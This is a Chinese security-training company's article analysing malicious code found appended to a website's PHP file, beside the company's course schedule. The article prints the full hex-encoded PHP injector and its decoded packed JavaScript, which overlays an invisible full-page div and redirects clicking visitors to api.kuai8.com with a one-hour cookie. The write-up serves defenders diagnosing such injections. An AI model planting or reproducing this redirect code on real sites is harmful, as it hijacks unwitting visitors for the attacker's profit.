天创培训:您身边的信息安全培训专家!
栏目列表
开班计划
2018年6月CISP培训开班通知
主讲老师   张老师、王老师等
开课时间   2018年6月19日-24日
培训方式   实地/面授
授课天次   培训5天+考试半天
上课时间   09:00 -- 16:30
课程介绍 在线报名
Web渗透测试(高级)开班通知
主讲老师   张老师、高老师等
开课时间   2018年7月16日-31日
培训方式   实地/面授
授课天次   16天
上课时间   09:00 -- 17:00
课程介绍 在线报名
Web渗透测试(中级)开班通知
主讲老师   张老师、王老师等
开课时间   2018年6月11日-17日
培训方式   实地/面授
授课天次   7天
上课时间   09:00 -- 17:00
课程介绍 在线报名
CISP-PTE渗透测试工程师开班
主讲老师   张老师、高老师等
开课时间   2018年6月23日-30日
培训方式   实地/面授
授课天次   8天
上课时间   09:00 -- 17:00
课程介绍 在线报名
技术中心您当前位置:首页 > 资源专区 > 技术中心

对某串恶意代码的解析

作者:天创培训  来源:px.tcnet.com.cn  更新时间:2018-04-19  关键词:

恶意代码表现:

网页是静态的html页面,包含有几个js文件以及百度的统计js和百度的分享js
发现多点击几次不同的网页,就会有一个其他的跳转链接被触发,开始是跳转到sogou上
最近几天是被跳转到淘宝的双十一页面,由此可以判断是恶意的跳转,有商业行为的那种了。
后来有跳转到一个什么游戏网站上。

查找问题:
认真检查了网页包含的js文件,没有看到任何的恶意代码,百度的统计和分享就算有问题,也不可能跳转到淘宝去的,因此排除js的问题

最后看到文件中引用了php文件,刚开始也是看过这个php文件的,
之所以被刚开始没发现这个php文件的问题,原因如下:
1. 这个php文件的修改日期没有变化过,还是很早之前的日期
2. 这个php文件也不复杂,打开后浏览了前面一点,没有感觉异常,就关闭了。

今天再次查看这个php文件的时候,才注意到在文件的尾部被添加了一段奇怪的代码上去,跟最初的文件不一样了。 由此才发现问题肯定出自这里。

解决办法:
删除这段异常代码,然后重新上传文件后,恶意跳转消失了。

恶意代码程序:

  1. function Class_UC_key($string){$array = strlen ($string);$debuger = '';for($one = 0;$one < $array;$one+=2) {$debuger .= pack ("C",hexdec (substr ($string,$one,2)));}return $debuger;}

  2.              echo(Class_UC_key('6576616c2866756e6374696f6e28702c612c632c6b2c652c72297b653d66756e6374696f6e2863297b72657475726e28633c613f27273a65287061727365496e7428632f612929292b2828633d632561293e33353f537472696e672e66726f6d43686172436f646528632b3239293a632e746f537472696e6728333629297d3b6966282127272e7265706c616365282f5e2f2c537472696e6729297b7768696c6528632d2d29725b652863295d3d6b5b635d7c7c652863293b6b3d5b66756e6374696f6e2865297b72657475726e20725b655d7d5d3b653d66756e6374696f6e28297b72657475726e275c5c772b277d3b633d317d3b7768696c6528632d2d296966286b5b635d29703d702e7265706c616365286e65772052656745787028275c5c62272b652863292b275c5c62272c276727292c6b5b635d293b72657475726e20707d28273320393d5c2731303a2f2f742e752e792f443f483d5c273b37206a2861297b3320623d22223b3320633d612b223d223b3528322e342e683e30297b363d322e342e382863293b352836213d2d31297b362b3d632e683b653d322e342e3828223b222c36293b3528653d3d2d3129653d322e342e683b623d4b28322e342e4c28362c6529297d7d5020627d37206b28612c622c63297b3320643d22223b352863213d73297b643d6c206928286c20692829292e7628292b632a78293b643d223b2031313d222b642e4128297d322e343d612b223d222b422862292b642b223b433d2f227d3720672861297b3320613d612b4528322e46293b3320623d303b3320633d5c27475c273b3528216a28632926262162297b662e492861293b662e4a28293b623d313b6b28632c312c3132297d7d283728642c772c72297b3528286d2e6e2e38285c274d5c27293e3d30292626286d2e6e2e38285c274e5c27293c3029297b642e4f285c273c6f20513d22523a2070253b543a2070253b7a2d553a20563b573a20303b583a20303b593a205a3b2220713d22672839293b223e3c2f6f3e5c27297d537b642e713d3728297b672839297d7d7d2928322c662c39293b272c36322c36352c277c7c646f63756d656e747c7661727c636f6f6b69657c69667c6f66667365747c66756e6374696f6e7c696e6465784f667c6a757374666f7266756e7c7c7c7c7c656e647c77696e646f777c706f704f70656e7c6c656e6774687c446174657c636f6f6b69654765747c636f6f6b69655365747c6e65777c6e6176696761746f727c757365724167656e747c6469767c3130307c6f6e636c69636b7c7c6e756c6c7c6170697c6b756169387c67657454696d657c7c333630303030307c636f6d7c7c746f474d54537472696e677c6573636170657c706174687c6a756d707c656e636f6465555249436f6d706f6e656e747c7469746c657c506f705f6d616d617c77647c6f70656e7c666f6375737c756e6573636170657c737562737472696e677c4d5349457c4f706572617c77726974656c6e7c72657475726e7c7374796c657c6865696768747c656c73657c77696474687c696e6465787c3130303030307c746f707c6c6566747c706f736974696f6e7c66697865647c687474707c657870697265737c272e73706c697428277c27292c302c7b7d2929'));

  3.              exit();

复制代码

php中看上去是做了编码处理,所以不知道具体含义,放在php中运行,以及结合网页文件是被包含在 script 中的,最后就得到了下面的 javascript 代码。

  1. <script type='text/javascript' language='javascript'>

  2. e val(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3 9=\'10://t.u.y/D?H=\';7 j(a){3 b="";3 c=a+"=";5(2.4.h>0){6=2.4.8(c);5(6!=-1){6+=c.h;e=2.4.8(";",6);5(e==-1)e=2.4.h;b=K(2.4.L(6,e))}}P b}7 k(a,b,c){3 d="";5(c!=s){d=l i((l i()).v()+c*x);d="; 11="+d.A()}2.4=a+"="+B(b)+d+";C=/"}7 g(a){3 a=a+E(2.F);3 b=0;3 c=\'G\';5(!j(c)&&!b){f.I(a);f.J();b=1;k(c,1,12)}}(7(d,w,r){5((m.n.8(\'M\')>=0)&&(m.n.8(\'N\')<0)){d.O(\'<o Q="R: p%;T: p%;z-U: V;W: 0;X: 0;Y: Z;" q="g(9);"></o>\')}S{d.q=7(){g(9)}}})(2,f,9);',62,65,'||document|var|cookie|if|offset|function|indexOf|justforfun|||||end|window|popOpen|length|Date|cookieGet|cookieSet|new|navigator|userAgent|div|100|onclick||null|api|kuai8|getTime||3600000|com||toGMTString|escape|path|jump|encodeURIComponent|title|Pop_mama|wd|open|focus|unescape|substring|MSIE|Opera|writeln|return|style|height|else|width|index|100000|top|left|position|fixed|http|expires|'.split('|'),0,{}))

  3. </script>

复制代码

这点代码同样还是看的不怎么懂,但是后面有一段英文能看到几个关键字: api,  kuai8, com,  cookieSet, 3600000, onclick
结合之前打开网页的时候,跳转出了  api.kuai8.com  以及一旦跳转后,下次就不知道什么时候会再次触发可以看出, 一定是 cookieSet 设置了时间,而这个时间应该就是 3600000 了。

写这些代码的人真是太费心思了!!!

上面的代码根据上面的大意就是创建一个空白的 div , 高度为 100000 像素,并且设置cookie,并且通过cookie来判断下次点击是否跳转。

分析结束,希望对大家下次查找问题有帮助。




推荐阅读

网站首页 |  关于天创 |  课程体系 |  最新动态 |  联系我们 |  网站地图 |  二维码
版权所有:江苏天创科技有限公司 苏ICP备16028135号-2
苏州总部地址:江苏省苏州市十梓街327号 电话:0512-65129087 传真:0512-65157410 邮编:215000
南京分公司地址:南京珠江路88号新世界中心A座 电话:025-84533276 传真:025-84533286 邮编:210000